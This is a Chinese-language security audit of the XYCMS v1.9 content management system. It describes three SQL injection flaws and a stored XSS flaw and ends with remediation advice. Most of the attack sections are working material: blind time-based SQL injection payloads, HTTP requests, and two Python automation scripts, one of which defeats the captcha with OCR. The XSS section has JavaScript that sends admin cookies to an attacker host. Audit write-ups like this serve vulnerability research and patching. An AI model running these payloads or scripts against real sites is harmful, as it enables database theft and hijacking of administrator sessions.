xycms v1.9的一次审计
字数 1052 2025-08-03 16:44:45

XYCMS v1.9 安全审计报告

目录结构分析

├── Conf(连接数据库的配置文件)
├── Libs(公共函数库)
├── Statics(JS静态文件)
├── Style(CSS样式)
├── add_book.php
├── add_do.php
├── code.php
├── foot.php
├── index.php
├── install(网站安装目录)
├── system(网站后台,审计重点)
└── top.php

SQL注入漏洞分析

第一处SQL注入:add_book_class.php

漏洞位置/system/add_book_class.php

漏洞代码

if($_GET["act"]==ok){
    $siteinfo = array(
        'title' => $_POST['title'],
        'c_order' => $_POST['c_order']
    );
    $db->insert("****cms_book_class", $siteinfo);
    //...
}

漏洞原理

  • 直接使用用户输入的$_POST['title']$_POST['c_order']构造SQL语句
  • insert()函数未对输入进行任何过滤处理

利用方式

POST /system/add_book_class.php?act=ok HTTP/1.1
Host: localhost:81
Content-Type: application/x-www-form-urlencoded
Content-Length: 93

title=',case when (ascii(mid((database()),1,1))<127) then (sleep(5)) else (1) end)#&c_order=1

自动化利用脚本

import requests
import time

url = 'http://localhost:81/system/add_book_class.php?act=ok'
cookie = {'Cookie': 'PHPSESSID=npvaign44srcvlhjglh9srrqo6'}

def binary_search_sql(start,end,payload,length=2):
    name = ''
    for i in range(1,length+1):
        left = start
        right = end
        while 1:
            mid = (left + right) // 2
            if mid == left:
                name += chr(mid)
                break
            start_time = time.time()
            full_payload = payload.format(num1=str(i),num2=str(mid))
            requests.post(url=url,data={'title':full_payload,'c_order':'1'},headers=cookie)
            if time.time() - start_time > 2.5:
                right = mid
            else:
                left = mid
    return name

# 爆破库名长度
database_length_payload = "',case when (ascii(mid((length(database())),{num1},1))<{num2}) then (sleep(3)) else (1) end)#"
database_length = binary_search_sql(48,57,database_length_payload,1)
print('database_length:'+database_length)

# 爆破库名
database_payload = "',case when (ascii(mid((database()),{num1},1))<{num2}) then (sleep(3)) else (1) end)#"
print('database_name:'+binary_search_sql(33,127,database_payload,int(database_length)))

第二处SQL注入:loginpass.php

漏洞位置/system/loginpass.php

漏洞代码

$login_ip=getIp();
//...
$login_info=array(
   'u_name'=>$m_name,
   'login_date'=>strtotime(date('Y-m-d')),
   'login_ip'=>$login_ip
);
$db->insert("admin_login_log",$login_info);

漏洞原理

  • getIp()函数从X-Forwarded-For头获取IP地址
  • 未对IP地址进行过滤直接插入数据库

利用方式

POST /system/loginpass.php HTTP/1.1
Host: localhost:81
X-Forwarded-For: 1' and case when (ascii(mid((database()),1,1))<127) then (sleep(5)) else (1) end and '
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

admin=1&password=1&checkcode=4K23

自动化利用脚本

import requests
from PIL import Image
import pytesseract
from time import time

r = requests.Session()
url_code = 'http://localhost:81/system/code.php?act=yes'
url_login = 'http://localhost:81/system/loginpass.php'

def code():
    req = r.get(url_code)
    with open('1.png', 'wb') as f:
        f.write(req.content)
    image = Image.open("1.png")
    image = image.convert('L')
    threshold = 150
    table = []
    for i in range(256):
        if i < threshold:
            table.append(0)
        else:
            table.append(1)
    image = image.point(table,"1")
    return pytesseract.image_to_string(image)

def checkcode_length(num2,num1=1):
    payload_length = "1' and case when (ascii(mid((length(database())),{num1},1))={num2}) then (sleep(3)) else (1) end and '"
    data = {'admin': '1', 'password': '1', 'checkcode': code()}
    full_payload = payload_length.format(num1=str(num1),num2=str(num2))
    req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
    if '验证码输入有误' in req.text:
        return checkcode_length(num2)

def database_length():
    length = ''
    for i in range(48,58):
        payload_length = "1' and case when (ascii(mid((length(database())),1,1))={num1}) then (sleep(3)) else (1) end and '"
        data = {'admin': '1', 'password': '1', 'checkcode': code()}
        full_payload = payload_length.format(num1=str(i))
        start_time = time()
        req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
        if '验证码输入有误' in req.text:
            checkcode_length(str(i))
        else:
            if time() - start_time > 2.5:
                length += chr(i)
    return length

length = database_length()
print(length)

第三处SQL注入:hf_book.php

漏洞位置/system/hf_book.php

漏洞代码

$sxid=$_GET["id"];
$e_rs=$db->get_one("select * from ***cms_book where id=$sxid",MYSQL_ASSOC);

漏洞原理

  • 直接拼接$_GET["id"]到SQL语句中
  • 未进行任何过滤处理

利用方式

  1. 确定字段数:
http://localhost:81/CMS/***cms/system/hf_book.php?id=11 order by 11# (正确)
http://localhost:81/CMS/***cms/system/hf_book.php?id=11 order by 12# (错误)
  1. 确定回显位置:
http://localhost:81/CMS/***cmcs/system/hf_book.php?id=11 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11#
  1. 获取数据库名:
http://localhost:81/CMS/***cms/system/hf_book.php?id=11 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11#

存储型XSS漏洞分析

前台存储型XSS:add_do.php

漏洞位置/add_do.php

漏洞代码

$siteinfo = array(
    'type_id' => intval(trim($_POST['type_id'])),
    'b_title' => injCheck($_POST['b_title']),
    'b_content' => injCheck($_POST['b_content']),
    'b_name' => injCheck($_POST['b_name']),
    'b_tel' => injCheck($_POST['b_tel']),
    'b_mail' => injCheck($_POST['b_mail']),
    'b_qq' => injCheck($_POST['b_qq']),
    'b_ip' => injCheck($_POST['b_ip']),
    'c_date' => time()
);

漏洞原理

  • injCheck()函数仅过滤SQL注入,未过滤XSS
  • 所有用户输入字段都存在XSS风险

利用方式

  1. 构造恶意JS代码:
var image=new Image();
image.src="http://attacker-ip:10006/cookies.phpcookie="+document.cookie;
  1. 提交恶意留言:
<script src="http://attacker-ip/4.js"></script>
  1. 当管理员查看留言时,cookie将被窃取

修复建议

SQL注入修复

  1. 对所有用户输入进行严格的过滤和转义
  2. 使用预处理语句(PDO)替代直接拼接SQL
  3. 对数字型参数使用intval()强制转换
  4. 对字符串参数使用addslashes()mysql_real_escape_string()

XSS漏洞修复

  1. 对所有输出到页面的内容进行HTML实体编码
  2. 使用htmlspecialchars()函数处理用户输入
  3. 设置HTTP头Content-Security-Policy
  4. 对敏感操作增加CSRF Token保护

其他安全建议

  1. 限制X-Forwarded-For等HTTP头的使用
  2. 加强验证码机制,防止自动化攻击
  3. 实现权限最小化原则
  4. 定期进行安全审计和代码审查

总结

XYCMS v1.9存在多处严重安全漏洞,包括但不限于:

  1. 多处SQL注入漏洞(前台和后台)
  2. 存储型XSS漏洞
  3. 验证码绕过风险
  4. 缺乏输入输出过滤机制

建议开发者立即修复这些问题,并全面审查代码中的安全隐患。

XYCMS v1.9 安全审计报告 目录结构分析 SQL注入漏洞分析 第一处SQL注入:add_ book_ class.php 漏洞位置 : /system/add_book_class.php 漏洞代码 : 漏洞原理 : 直接使用用户输入的 $_POST['title'] 和 $_POST['c_order'] 构造SQL语句 insert() 函数未对输入进行任何过滤处理 利用方式 : 自动化利用脚本 : 第二处SQL注入:loginpass.php 漏洞位置 : /system/loginpass.php 漏洞代码 : 漏洞原理 : getIp() 函数从 X-Forwarded-For 头获取IP地址 未对IP地址进行过滤直接插入数据库 利用方式 : 自动化利用脚本 : 第三处SQL注入:hf_ book.php 漏洞位置 : /system/hf_book.php 漏洞代码 : 漏洞原理 : 直接拼接 $_GET["id"] 到SQL语句中 未进行任何过滤处理 利用方式 : 确定字段数: 确定回显位置: 获取数据库名: 存储型XSS漏洞分析 前台存储型XSS:add_ do.php 漏洞位置 : /add_do.php 漏洞代码 : 漏洞原理 : injCheck() 函数仅过滤SQL注入,未过滤XSS 所有用户输入字段都存在XSS风险 利用方式 : 构造恶意JS代码: 提交恶意留言: 当管理员查看留言时,cookie将被窃取 修复建议 SQL注入修复 对所有用户输入进行严格的过滤和转义 使用预处理语句(PDO)替代直接拼接SQL 对数字型参数使用 intval() 强制转换 对字符串参数使用 addslashes() 或 mysql_real_escape_string() XSS漏洞修复 对所有输出到页面的内容进行HTML实体编码 使用 htmlspecialchars() 函数处理用户输入 设置HTTP头 Content-Security-Policy 对敏感操作增加CSRF Token保护 其他安全建议 限制 X-Forwarded-For 等HTTP头的使用 加强验证码机制,防止自动化攻击 实现权限最小化原则 定期进行安全审计和代码审查 总结 XYCMS v1.9存在多处严重安全漏洞,包括但不限于: 多处SQL注入漏洞(前台和后台) 存储型XSS漏洞 验证码绕过风险 缺乏输入输出过滤机制 建议开发者立即修复这些问题,并全面审查代码中的安全隐患。